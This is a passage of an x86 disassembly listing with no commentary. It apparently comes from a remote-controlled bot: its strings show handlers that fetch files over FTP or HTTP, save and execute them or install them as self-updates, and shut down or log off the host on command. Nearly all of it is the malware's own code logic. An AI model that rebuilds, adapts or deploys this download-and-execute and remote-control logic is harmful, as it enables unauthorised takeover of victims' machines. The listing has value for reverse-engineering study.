[esp+124h+var_DC] lea ecx, [edi+26h] push eax call sub_401FDC lea ecx, [esp+124h+var_C4] push ecx lea ecx, [edi+65h] call sub_401FDC lea edx, [esp+124h+var_AC] lea ecx, [edi+3Bh] push edx call sub_401FDC lea eax, [esp+124h+var_94] lea ecx, [edi+50h] push eax call sub_401FDC lea ecx, [esi+69h] push ecx lea ecx, [edi+7Ah] call sub_401FDC mov byte ptr [edi+8Fh], 0 mov byte ptr [edi+90h], 0 mov byte ptr [edi+91h], 1 mov dl, [esi+93h] mov [edi+92h], dl mov al, [esi+94h] mov ecx, edi mov [edi+93h], al call sub_4013DE loc_41CE9B: ; CODE XREF: sub_41C710+5FCj lea ecx, [ebp+118h] call sub_4017EE push eax lea ecx, [esi+7Eh] call sub_4012EE test eax, eax jnz loc_41D040 push offset asc_444600 ; " " lea ecx, [esp+128h+var_F4] push 1 push ecx mov ecx, esi call sub_4016B8 lea edx, [esp+124h+var_7C] mov ecx, eax push edx mov byte ptr [esp+128h+var_4], 13h call sub_40168B push eax call sub_401947 add esp, 8 lea ecx, [esp+124h+var_F4] test al, al setz [esp+124h+var_111] mov byte ptr [esp+124h+var_4], bl call sub_401226 mov al, [esp+124h+var_111] test al, al jnz loc_41D2A1 lea eax, [esp+124h+var_52] lea ecx, [esp+124h+var_AC] push eax call sub_401FDC lea ecx, [esp+124h+var_3D] push ecx lea ecx, [esp+128h+var_94] call sub_401FDC lea edx, [esp+124h+var_67] lea ecx, [esp+124h+var_10C] push edx call sub_401FDC lea eax, [esp+124h+var_24] lea ecx, [esp+124h+var_DC] push eax call sub_401FDC push 1 push offset asc_444600 ; " " lea ecx, [esp+12Ch+var_F4] push 2 push ecx mov ecx, esi call sub_4011EA push eax lea ecx, [esp+128h+var_C4] mov byte ptr [esp+128h+var_4], 14h call sub_401FDC lea ecx, [esp+124h+var_F4] mov byte ptr [esp+124h+var_4], bl call sub_401226 push 94h call sub_437AEA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+124h+var_110], eax test eax, eax mov byte ptr [esp+124h+var_4], 15h jz short loc_41CFB3 mov ecx, eax call sub_4021E9 mov edi, eax jmp short loc_41CFB5 ; --------------------------------------------------------------------------- loc_41CFB3: ; CODE XREF: sub_41C710+896j xor edi, edi loc_41CFB5: ; CODE XREF: sub_41C710+8A1j lea edx, [esp+124h+var_10C] lea ecx, [edi+11h] push edx mov byte ptr [esp+128h+var_4], bl call sub_401FDC lea eax, [esp+124h+var_DC] lea ecx, [edi+26h] push eax call sub_401FDC lea ecx, [esp+124h+var_C4] push ecx lea ecx, [edi+65h] call sub_401FDC lea edx, [esp+124h+var_AC] lea ecx, [edi+3Bh] push edx call sub_401FDC lea eax, [esp+124h+var_94] lea ecx, [edi+50h] push eax call sub_401FDC lea ecx, [esi+69h] push ecx lea ecx, [edi+7Ah] call sub_401FDC mov byte ptr [edi+8Fh], 1 mov byte ptr [edi+90h], 0 mov byte ptr [edi+91h], 1 mov dl, [esi+93h] mov [edi+92h], dl mov al, [esi+94h] mov ecx, edi mov [edi+93h], al call sub_4013DE loc_41D040: ; CODE XREF: sub_41C710+7A1j lea ecx, [ebp+0EAh] call sub_4017EE push eax lea ecx, [esi+7Eh] call sub_4012EE test eax, eax jnz loc_41D2A1 push offset asc_444600 ; " " lea ecx, [esp+128h+var_F4] push 1 push ecx mov ecx, esi call sub_4016B8 lea edx, [esp+124h+var_7C] mov ecx, eax push edx mov byte ptr [esp+128h+var_4], 16h call sub_40168B push eax call sub_401947 add esp, 8 lea ecx, [esp+124h+var_F4] test al, al setz [esp+124h+var_111] mov byte ptr [esp+124h+var_4], bl call sub_401226 mov al, [esp+124h+var_111] test al, al jnz loc_41D2A1 lea eax, [esp+124h+var_52] lea ecx, [esp+124h+var_AC] push eax call sub_401FDC lea ecx, [esp+124h+var_3D] push ecx lea ecx, [esp+128h+var_94] call sub_401FDC lea edx, [esp+124h+var_67] lea ecx, [esp+124h+var_10C] push edx call sub_401FDC lea eax, [esp+124h+var_24] lea ecx, [esp+124h+var_DC] push eax call sub_401FDC push 1 push offset asc_444600 ; " " lea ecx, [esp+12Ch+var_F4] push 2 push ecx mov ecx, esi call sub_4011EA push eax lea ecx, [esp+128h+var_C4] mov byte ptr [esp+128h+var_4], 17h call sub_401FDC lea ecx, [esp+124h+var_F4] mov byte ptr [esp+124h+var_4], bl call sub_401226 push offset asc_444600 ; " " lea edx, [esp+128h+var_F4] push 3 push edx mov ecx, esi call sub_4016B8 push offset word_44955A mov ecx, eax mov byte ptr [esp+128h+var_4], 18h call sub_401B86 test eax, eax lea ecx, [esp+124h+var_F4] mov byte ptr [esp+124h+var_4], bl setz [esp+124h+var_111] call sub_401226 mov al, [esp+124h+var_111] test al, al jz short loc_41D1EC lea ecx, [esp+124h+var_7C] mov byte ptr [esp+124h+var_4], 4 call sub_4014BA lea ecx, [esp+124h+var_C4] mov byte ptr [esp+124h+var_4], 3 call sub_401226 lea ecx, [esp+124h+var_94] mov byte ptr [esp+124h+var_4], 2 call sub_401226 lea ecx, [esp+124h+var_AC] mov byte ptr [esp+124h+var_4], 1 call sub_401226 lea ecx, [esp+124h+var_DC] mov byte ptr [esp+124h+var_4], 0 call sub_401226 lea ecx, [esp+124h+var_10C] mov [esp+124h+var_4], 0FFFFFFFFh call sub_401226 xor al, al jmp loc_41D312 ; --------------------------------------------------------------------------- loc_41D1EC: ; CODE XREF: sub_41C710+A64j push 94h call sub_437AEA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+124h+var_110], eax test eax, eax mov byte ptr [esp+124h+var_4], 19h jz short loc_41D214 mov ecx, eax call sub_4021E9 mov edi, eax jmp short loc_41D216 ; --------------------------------------------------------------------------- loc_41D214: ; CODE XREF: sub_41C710+AF7j xor edi, edi loc_41D216: ; CODE XREF: sub_41C710+B02j lea eax, [esp+124h+var_10C] lea ecx, [edi+11h] push eax mov byte ptr [esp+128h+var_4], bl call sub_401FDC lea ecx, [esp+124h+var_DC] push ecx lea ecx, [edi+26h] call sub_401FDC lea edx, [esp+124h+var_C4] lea ecx, [edi+65h] push edx call sub_401FDC lea eax, [esp+124h+var_AC] lea ecx, [edi+3Bh] push eax call sub_401FDC lea ecx, [esp+124h+var_94] push ecx lea ecx, [edi+50h] call sub_401FDC lea edx, [esi+69h] lea ecx, [edi+7Ah] push edx call sub_401FDC mov byte ptr [edi+8Fh], 0 mov byte ptr [edi+90h], 1 mov byte ptr [edi+91h], 1 mov al, [esi+93h] mov [edi+92h], al mov cl, [esi+94h] mov [edi+93h], cl mov ecx, edi call sub_4013DE loc_41D2A1: ; CODE XREF: sub_41C710+116j ; sub_41C710+295j ... lea ecx, [esp+124h+var_7C] mov byte ptr [esp+124h+var_4], 4 call sub_4014BA lea ecx, [esp+124h+var_C4] mov byte ptr [esp+124h+var_4], 3 call sub_401226 lea ecx, [esp+124h+var_94] mov byte ptr [esp+124h+var_4], 2 call sub_401226 lea ecx, [esp+124h+var_AC] mov byte ptr [esp+124h+var_4], 1 call sub_401226 lea ecx, [esp+124h+var_DC] mov byte ptr [esp+124h+var_4], 0 call sub_401226 lea ecx, [esp+124h+var_10C] mov [esp+124h+var_4], 0FFFFFFFFh call sub_401226 mov al, 1 loc_41D312: ; CODE XREF: sub_41C710+549j ; sub_41C710+AD7j mov ecx, [esp+124h+var_C] pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 114h retn 4 sub_41C710 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 310h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41D640 proc near ; CODE XREF: sub_401B4Aj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_41D640 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_40142E lea ecx, [esi+15h] mov [esp+14h+var_4], 0 call sub_40142E lea ecx, [esi+2Ah] mov byte ptr [esp+14h+var_4], 1 call sub_40142E lea ecx, [esi+3Fh] mov byte ptr [esp+14h+var_4], 2 call sub_40142E lea ecx, [esi+58h] mov byte ptr [esp+14h+var_4], 3 call sub_40142E mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_41D640 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41D6D0 proc near ; CODE XREF: sub_4014BAj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_41D6D0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+58h] mov [esp+14h+var_4], 3 call sub_401226 lea ecx, [esi+3Fh] mov byte ptr [esp+14h+var_4], 2 call sub_401226 lea ecx, [esi+2Ah] mov byte ptr [esp+14h+var_4], 1 call sub_401226 lea ecx, [esi+15h] mov byte ptr [esp+14h+var_4], 0 call sub_401226 mov ecx, esi mov [esp+14h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_41D6D0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41D770 proc near ; CODE XREF: sub_4021E9j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_41D770 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401E88 lea ecx, [esi+11h] mov [esp+14h+var_4], 0 call sub_40142E lea ecx, [esi+26h] mov byte ptr [esp+14h+var_4], 1 call sub_40142E lea ecx, [esi+3Bh] mov byte ptr [esp+14h+var_4], 2 call sub_40142E lea ecx, [esi+50h] mov byte ptr [esp+14h+var_4], 3 call sub_40142E lea ecx, [esi+65h] mov byte ptr [esp+14h+var_4], 4 call sub_40142E lea ecx, [esi+7Ah] mov byte ptr [esp+14h+var_4], 5 call sub_40142E mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43F0D0 mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_41D770 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_41D830: ; CODE XREF: ___:00401168j ; ___:loc_4019F6j push esi mov esi, ecx call sub_4015CD test byte ptr [esp+8], 1 jz short loc_41D848 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_41D848: ; CODE XREF: ___:0041D83Dj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41D860 proc near ; CODE XREF: sub_4015CDj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_41D860 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi mov dword ptr [esi], offset off_43F0D0 lea ecx, [esi+7Ah] mov [esp+14h+var_4], 5 call sub_401226 lea ecx, [esi+65h] mov byte ptr [esp+14h+var_4], 4 call sub_401226 lea ecx, [esi+50h] mov byte ptr [esp+14h+var_4], 3 call sub_401226 lea ecx, [esi+3Bh] mov byte ptr [esp+14h+var_4], 2 call sub_401226 lea ecx, [esi+26h] mov byte ptr [esp+14h+var_4], 1 call sub_401226 lea ecx, [esi+11h] mov byte ptr [esp+14h+var_4], 0 call sub_401226 mov ecx, esi mov [esp+14h+var_4], 0FFFFFFFFh call sub_40204F mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_41D860 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_41D930 proc near ; CODE XREF: sub_401C94j var_44 = dword ptr -44h var_3C = byte ptr -3Ch var_30 = dword ptr -30h var_28 = byte ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_18 = dword ptr -18h var_14 = dword ptr -14h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_14 = byte ptr 18h arg_20 = byte ptr 24h arg_24 = byte ptr 28h arg_38 = byte ptr 3Ch arg_44 = byte ptr 48h arg_110 = byte ptr 114h arg_120 = byte ptr 124h arg_130 = byte ptr 134h arg_1110 = dword ptr 1114h arg_1114 = byte ptr 1118h arg_1130 = dword ptr 1134h arg_1138 = dword ptr 113Ch arg_1144 = byte ptr 1148h arg_1150 = dword ptr 1154h ; FUNCTION CHUNK AT 0041E048 SIZE 0000001B BYTES push 0FFFFFFFFh mov eax, large fs:0 push offset loc_43C3F2 push eax mov eax, 1158h mov large fs:0, esp call sub_437B30 push ebx push ebp push esi mov esi, ecx push edi push offset byte_448F30 lea edi, [esi+11h] mov ecx, edi call sub_4012EE test eax, eax jz loc_41E035 lea ebx, [esi+65h] push offset byte_448F30 mov ecx, ebx call sub_4012EE test eax, eax jz loc_41E035 lea ecx, [esi+26h] push offset byte_448F30 call sub_4012EE test eax, eax jz loc_41E035 mov al, [esi+91h] test al, al jz short loc_41D9D1 push offset byte_448F30 lea ecx, [esi+3Bh] call sub_4012EE test eax, eax jz short loc_41D9C4 push offset byte_448F30 lea ecx, [esi+50h] call sub_4012EE test eax, eax jnz short loc_41D9D1 loc_41D9C4: ; CODE XREF: sub_41D930+81j mov [esp+1Ch+var_8], esi lea eax, [esp+1Ch+var_8] jmp loc_41E03D ; --------------------------------------------------------------------------- loc_41D9D1: ; CODE XREF: sub_41D930+70j ; sub_41D930+92j push offset asc_444C6C ; ":" lea ecx, [esp+20h] push 1 push ecx mov ecx, edi call sub_4016B8 push offset byte_448F30 mov ecx, eax mov [esp+20h+arg_1150], 0 call sub_4012EE lea ecx, [esp+1Ch] mov ebp, eax mov [esp+1Ch+arg_1150], 0FFFFFFFFh call sub_401226 test ebp, ebp jz short loc_41DA5E push offset asc_444C6C ; ":" lea edx, [esp+20h] push 1 push edx mov ecx, edi call sub_4016B8 mov ecx, eax mov [esp+1Ch+arg_1150], 1 call sub_4017EE push eax call near ptr 77C1BF18h nop add esp, 4 lea ecx, [esp+1Ch] mov ebp, eax mov [esp+1Ch+arg_1150], 0FFFFFFFFh call sub_401226 test ebp, ebp jnz short loc_41DA6F loc_41DA5E: ; CODE XREF: sub_41D930+E3j mov al, [esi+91h] neg al sbb eax, eax and al, 0C5h add eax, 50h mov ebp, eax loc_41DA6F: ; CODE XREF: sub_41D930+12Cj push offset asc_444C6C ; ":" lea ecx, [esp+20h+arg_14] push 0 push ecx mov ecx, edi call sub_4016B8 lea edx, [esp+1Ch+arg_14] mov ecx, edi push edx mov [esp+20h+arg_1150], 2 call sub_401FDC lea eax, [esp+1Ch+arg_44] push 104h push eax mov ecx, ebx call sub_4017EE push eax call near ptr 2820000h nop lea ecx, [esp+28h+arg_38] push ecx mov ecx, ebx call sub_4015E1 mov al, [esi+91h] test al, al jz loc_41DC04 call sub_401E1F ; --------------------------------------------------------------------------- lea edx, [esp+28h+var_14] mov ecx, edi push edx call sub_4017EE push eax call sub_401A7D ; --------------------------------------------------------------------------- add esp, 8 test eax, eax jnz short loc_41DB1C lea ecx, [esi+7Ah] call sub_40168B mov cl, [esi+92h] push eax mov al, [esi+93h] push offset aFtpBadconnect ; "ftp(badconnect)" push eax push ecx mov ecx, offset byte_4D8075 call sub_401118 mov [esp+28h+var_18], esi lea edx, [esp+28h+var_18] jmp loc_41E014 ; --------------------------------------------------------------------------- loc_41DB1C: ; CODE XREF: sub_41D930+1B7j mov eax, [esp+28h+var_14] lea ecx, [esi+50h] push eax call sub_4017EE push eax lea ecx, [esi+3Bh] call sub_4017EE push eax call sub_402266 add esp, 0Ch test eax, eax jnz short loc_41DB73 lea ecx, [esi+7Ah] call sub_40168B mov cl, [esi+93h] mov dl, [esi+92h] push eax push offset aFtpBadlogin ; "ftp(badlogin)" push ecx push edx mov ecx, offset byte_4D8075 call sub_401118 lea eax, [esp+28h+var_18] mov [esp+28h+var_18], esi push eax jmp loc_41E015 ; --------------------------------------------------------------------------- loc_41DB73: ; CODE XREF: sub_41D930+20Dj lea edi, [esi+7Ah] mov ecx, edi call sub_40168B mov cl, [esi+93h] mov dl, [esi+92h] push eax push offset aFtpGetting ; "ftp(getting)" push ecx push edx mov ecx, offset byte_4D8075 call sub_401118 mov eax, [esp+28h+var_14] lea ecx, [esi+26h] push eax push 49h call sub_4017EE push eax mov ecx, ebx call sub_4017EE push eax call sub_4016B3 add esp, 10h test eax, eax jnz short loc_41DBF2 mov ecx, edi call sub_40168B mov cl, [esi+93h] mov dl, [esi+92h] push eax push offset aFtpBaddl ; "ftp(baddl)" push ecx push edx mov ecx, offset byte_4D8075 call sub_401118 lea eax, [esp+28h+var_18] mov [esp+28h+var_18], esi push eax jmp loc_41E015 ; --------------------------------------------------------------------------- loc_41DBF2: ; CODE XREF: sub_41D930+28Dj mov ecx, [esp+28h+var_14] push ecx call sub_401D66 add esp, 4 jmp loc_41DE7B ; --------------------------------------------------------------------------- loc_41DC04: ; CODE XREF: sub_41D930+195j lea ecx, [esp+28h+arg_20] call sub_40142E lea ecx, [esp+28h+var_C] mov [esp+28h+arg_1144], 3 call sub_40142E push ebp mov ecx, edi mov [esp+2Ch+arg_1144], 4 call sub_4017EE push eax call sub_401AA0 mov ebx, eax add esp, 8 cmp ebx, 0FFFFFFFFh mov [esp+28h+var_14], ebx jnz short loc_41DC87 lea ecx, [esi+7Ah] call sub_40168B mov dl, [esi+93h] push eax mov al, [esi+92h] push offset aHttpBadconnect ; "http(badconnect)" push edx push eax mov ecx, offset byte_4D8075 call sub_401118 lea ecx, [esp+28h+var_18] mov [esp+28h+var_18], esi push ecx mov ecx, offset byte_4E8E9B call sub_40120D ; --------------------------------------------------------------------------- db 53h dd 69B9B8E8h, 0BEE99071h db 3 dup(0) ; --------------------------------------------------------------------------- loc_41DC87: ; CODE XREF: sub_41D930+310j push ebp mov ecx, edi call sub_4017EE push eax lea ecx, [esi+26h] call sub_4017EE push eax lea edx, [esp+30h+arg_24] push offset aGetSHttp1_0Con ; "GET %s HTTP/1.0\r\nConnection: Keep-Alive"... push edx call sub_40102D add esp, 14h lea ecx, [esp+24h+arg_24] push 0 call sub_4013E3 push eax lea ecx, [esp+2Ch+arg_24] call sub_4017EE push eax push ebx call near ptr 71AB428Ah nop lea edi, [esi+7Ah] mov ecx, edi call sub_40168B mov cl, [esi+92h] push eax mov al, [esi+93h] push offset aHttpGetting ; "http(getting)" push eax push ecx mov ecx, offset byte_4D8075 call sub_401118 push offset aWb ; "wb" lea ecx, [esi+65h] call sub_4017EE push eax nop call near ptr 77C3F010h mov ebx, eax add esp, 8 test ebx, ebx jnz short loc_41DD80 mov ecx, edi call sub_40168B mov dl, [esi+93h] push eax mov al, [esi+92h] push offset aHttpBadopen ; "http(badopen)" push edx push eax mov ecx, offset byte_4D8075 call sub_401118 lea ecx, [esp+34h+var_24] mov [esp+34h+var_24], esi push ecx mov ecx, offset byte_4E8E9B call sub_40120D ; --------------------------------------------------------------------------- lea ecx, [esp+34h+var_18] mov byte ptr [esp+34h+arg_1138], 3 call sub_401226 lea ecx, [esp+34h+arg_14] mov byte ptr [esp+34h+arg_1138], 2 call sub_401226 lea ecx, [esp+34h] mov [esp+34h+arg_1138], 0FFFFFFFFh call sub_401226 jmp loc_41E048 ; --------------------------------------------------------------------------- loc_41DD80: ; CODE XREF: sub_41D930+3DBj ; sub_41D930+484j ... mov eax, [esp+34h+var_20] push 0 lea edx, [esp+38h+arg_130] push 1000h push edx push eax call near ptr 71AB615Ah nop mov ebp, eax test ebp, ebp jle short loc_41DDF8 cmp ebp, 1000h jge short loc_41DDB0 mov [esp+ebp+44h+arg_120], 0 loc_41DDB0: ; CODE XREF: sub_41D930+476j xor edi, edi test ebp, ebp jle short loc_41DD80 loc_41DDB6: ; CODE XREF: sub_41D930+4A5j push 4 lea ecx, [esp+edi+48h+arg_120] push offset asc_444ED0 ; "\r\n\r\n" push ecx call near ptr 77C47A50h nop add esp, 0Ch test eax, eax jz short loc_41DDD9 inc edi cmp edi, ebp jl short loc_41DDB6 jmp short loc_41DD80 ; --------------------------------------------------------------------------- loc_41DDD9: ; CODE XREF: sub_41D930+4A0j add edi, 4 cmp edi, ebp jge short loc_41DDF8 loc_41DDE0: ; CODE XREF: sub_41D930+4C6j movsx edx, [esp+edi+44h+arg_120] push ebx push edx nop call near ptr 77C40E76h add esp, 8 inc edi cmp edi, ebp jl short loc_41DDE0 loc_41DDF8: ; CODE XREF: sub_41D930+46Ej ; sub_41D930+4AEj ... mov edi, [esp+44h+var_30] push 0 lea eax, [esp+48h+arg_120] push 1000h push eax push edi nop call near ptr 71AB615Ah mov ebp, eax test ebp, ebp jle short loc_41DE48 cmp ebp, 1000h jge short loc_41DE28 mov [esp+ebp+54h+arg_110], 0 loc_41DE28: ; CODE XREF: sub_41D930+4EEj xor edi, edi test ebp, ebp jle short loc_41DDF8 loc_41DE2E: ; CODE XREF: sub_41D930+514j movsx ecx, [esp+edi+54h+arg_110] push ebx push ecx nop call near ptr 77C40E76h add esp, 8 inc edi cmp edi, ebp jl short loc_41DE2E jmp short loc_41DDF8 ; --------------------------------------------------------------------------- loc_41DE48: ; CODE XREF: sub_41D930+4E6j push ebx call near ptr 77C40AB1h nop add esp, 4 push edi call near ptr 71AB9639h nop lea ecx, [esp+58h+var_3C] mov [esp+58h+arg_1114], 3 call sub_401226 lea ecx, [esp+58h+var_C] mov [esp+58h+arg_1114], 2 call sub_401226 loc_41DE7B: ; CODE XREF: sub_41D930+2CFj mov al, [esi+90h] test al, al jnz loc_41DF17 lea ebp, [esi+65h] mov ecx, ebp call sub_4017EE lea edi, [esi+7Ah] push eax push offset aDlDone_S_ ; "dl, done. %s ." mov ecx, edi call sub_40168B mov dl, [esi+93h] push eax mov al, [esi+92h] push edx push eax push offset byte_4D8075 call sub_401857 mov al, [esi+8Fh] add esp, 18h test al, al jz loc_41E00C push offset byte_448F30 mov ecx, ebp call sub_4017EE push eax call sub_401299 add esp, 8 mov ecx, ebp call sub_4017EE push eax push offset aOpenS_ ; "open %s." mov ecx, edi call sub_40168B mov cl, [esi+93h] mov dl, [esi+92h] push eax push ecx push edx push offset byte_4D8075 call sub_401857 add esp, 18h jmp loc_41E00C ; --------------------------------------------------------------------------- loc_41DF17: ; CODE XREF: sub_41D930+553j lea ebx, [esi+65h] mov ecx, ebx call sub_4017EE lea edi, [esi+7Ah] push eax push offset aDlEdUpdateS ; "dl'ed-update: %s" mov ecx, edi call sub_40168B mov cl, [esi+92h] push eax mov al, [esi+93h] push eax push ecx push offset byte_4D8075 call sub_401857 push 0 push 5 push 14h push 1 push 4 push 10h push 15h lea edx, [esp+8Ch+var_3C] push 51h push edx call sub_4019C4 add esp, 3Ch mov ecx, eax mov [esp+58h+arg_1114], 5 call sub_4014DD push eax mov ecx, ebx call sub_4014DD push eax call sub_402167 add esp, 8 lea ecx, [esp+58h+var_3C] mov bl, al mov [esp+58h+arg_1114], 2 call sub_401226 test bl, bl jz short loc_41DFE7 mov al, byte_449896 test al, al jz short loc_41DFB6 push offset dword_449834 mov ecx, offset dword_44AD70 call sub_401451 loc_41DFB6: ; CODE XREF: sub_41D930+675j mov al, byte_4498DF test al, al jz short loc_41DFCE push offset byte_44990F mov ecx, offset dword_44AD70 call sub_401951 loc_41DFCE: ; CODE XREF: sub_41D930+68Dj mov ecx, offset dword_44AD70 call sub_401E79 push 1 mov byte_4E8E44, 0 call near ptr 77C39E7Eh nop loc_41DFE7: ; CODE XREF: sub_41D930+66Cj mov ecx, edi call sub_4014DD mov cl, [esi+92h] push eax mov al, [esi+93h] push offset aExec_error ; "exec.error" push eax push ecx mov ecx, offset byte_4D8075 call sub_401118 loc_41E00C: ; CODE XREF: sub_41D930+597j ; sub_41D930+5E2j mov [esp+5Ch+var_44], esi lea edx, [esp+5Ch+var_44] loc_41E014: ; CODE XREF: sub_41D930+1E7j push edx loc_41E015: ; CODE XREF: sub_41D930+23Ej ; sub_41D930+2BDj mov ecx, offset byte_4E8E9B call sub_40120D ; --------------------------------------------------------------------------- lea ecx, [esp+5Ch+var_28] mov [esp+5Ch+arg_1110], 0FFFFFFFFh call sub_401226 jmp short loc_41E048 ; --------------------------------------------------------------------------- loc_41E035: ; CODE XREF: sub_41D930+36j ; sub_41D930+4Dj ... mov [esp+1Ch+var_C], esi lea eax, [esp+1Ch+var_C] loc_41E03D: ; CODE XREF: sub_41D930+9Cj push eax mov ecx, offset byte_4E8E9B call sub_40120D sub_41D930 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_41D930 loc_41E048: ; CODE XREF: sub_41D930+44Bj ; sub_41D930+703j mov ecx, [esp+34h+arg_1130] pop edi pop esi pop ebp xor eax, eax pop ebx mov large fs:0, ecx add esp, 1164h retn ; END OF FUNCTION CHUNK FOR sub_41D930 ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 1D0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_41E240 proc near ; CODE XREF: sub_401BA4j var_3C = byte ptr -3Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_41E240 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push esi push 0 push 14h push 0Fh push 0Fh push 2 push 5 push 12h push 4Fh push 3 lea eax, [esp+64h+var_3C] push 10h mov esi, ecx push eax call sub_4019C4 add esp, 2Ch push esi mov ecx, eax mov [esp+44h+var_4], 0 call sub_4017EE lea ecx, [esi+4] push eax push ecx mov ecx, offset dword_449118 call sub_40159B sub_41E240 endp ; --------------------------------------------------------------------------- lea ecx, [esp+4] mov dword ptr [esp+3Ch], 0FFFFFFFFh call sub_401226 push 0 push 0Eh push 17h push 0Fh push 4 push 14h push 15h push 8 push 13h push 4Fh push 3 lea edx, [esp+30h] push 10h push edx call sub_4019C4 add esp, 34h push esi mov ecx, eax mov dword ptr [esp+40h], 1 call sub_4017EE push eax lea eax, [esi+32h] push eax mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+4] mov dword ptr [esp+3Ch], 0FFFFFFFFh call sub_401226 push 0 push 6 push 6 push 0Fh push 7 push 0Fh push 0Ch push 4Fh push 3 lea ecx, [esp+40h] push 10h push ecx call sub_4019C4 add esp, 2Ch push esi mov ecx, eax mov dword ptr [esp+40h], 2 call sub_4017EE add esi, 60h push eax push esi mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+1Ch] mov dword ptr [esp+3Ch], 0FFFFFFFFh call sub_401226 mov ecx, [esp+34h] pop esi mov large fs:0, ecx add esp, 3Ch retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 50h dup(0CCh) ; --------------------------------------------------------------------------- loc_41E3C0: ; CODE XREF: ___:loc_4010B4j push ebx push esi push edi mov edi, [esp+10h] mov esi, ecx lea ebx, [edi+7Eh] lea ecx, [esi+4] call sub_4014DD push eax mov ecx, ebx call sub_4012EE test eax, eax jnz short loc_41E41B push offset dword_444FD4 lea ecx, [edi+69h] call sub_40168B mov cl, [edi+93h] push eax mov al, [edi+94h] push eax push ecx push offset byte_4D8075 call sub_401857 add esp, 14h push 0 push 6 nop call near ptr 28C0795h pop edi pop esi xor al, al pop ebx retn 4 ; --------------------------------------------------------------------------- loc_41E41B: ; CODE XREF: ___:0041E3DEj lea ecx, [esi+32h] call sub_4014DD push eax mov ecx, ebx call sub_4012EE test eax, eax jnz short loc_41E46A push offset aSysSd ; "sys(sd)" lea ecx, [edi+69h] call sub_40168B mov dl, [edi+94h] push eax mov al, [edi+93h] push edx push eax push offset byte_4D8075 call sub_401857 add esp, 14h push 0 push 5 call near ptr 28C0795h nop pop edi pop esi xor al, al pop ebx retn 4 ; --------------------------------------------------------------------------- loc_41E46A: ; CODE XREF: ___:0041E42Dj lea ecx, [esi+60h] call sub_4014DD push eax mov ecx, ebx call sub_4012EE test eax, eax jnz short loc_41E4B1 push offset aSysLogoff ; "sys(logoff)" lea ecx, [edi+69h] call sub_40168B mov cl, [edi+94h] mov dl, [edi+93h] push eax push ecx push edx push offset byte_4D8075 call sub_401857 add esp, 14h push 0 push 4 call near ptr 28C0795h nop loc_41E4B1: ; CODE XREF: ___:0041E47Cj pop edi pop esi xor al, al pop ebx retn 4 ; --------------------------------------------------------------------------- db 7 dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_41E500 proc near ; CODE XREF: sub_401F7Dj var_3C = byte ptr -3Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_41E500 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push esi push edi push 0 push 14h push 13h push 9 push 0Ch push 4Fh push 0Ch push 12h push 14h push 3 lea eax, [esp+6Ch+var_3C] push 10h mov esi, ecx push eax call sub_4019C4 add esp, 30h push esi mov ecx, eax mov [esp+48h+var_4], 0 call sub_4017EE lea ecx, [esi+4] push eax push ecx mov ecx, offset dword_449118 call sub_40159B sub_41E500 endp ; --------------------------------------------------------------------------- or edi, 0FFFFFFFFh lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 0Ch push 0Ch push 9 push 0Bh push 4Fh push 0Ch push 12h push 14h push 3 lea edx, [esp+30h] push 10h push edx call sub_4019C4 add esp, 30h push esi mov ecx, eax mov dword ptr [esp+44h], 1 call sub_4017EE push eax lea eax, [esi+32h] push eax mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea 